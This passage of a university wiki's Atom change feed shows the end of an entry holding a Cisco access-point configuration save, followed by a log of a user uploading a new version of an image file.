  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Honey_L%C3%A9na.png&amp;diff=53867</id>
		<title>Fichier:Honey Léna.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Honey_L%C3%A9na.png&amp;diff=53867"/>
				<updated>2020-11-17T12:53:49Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : Lchenu a téléversé une nouvelle version de Fichier:Honey Léna.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	</feed>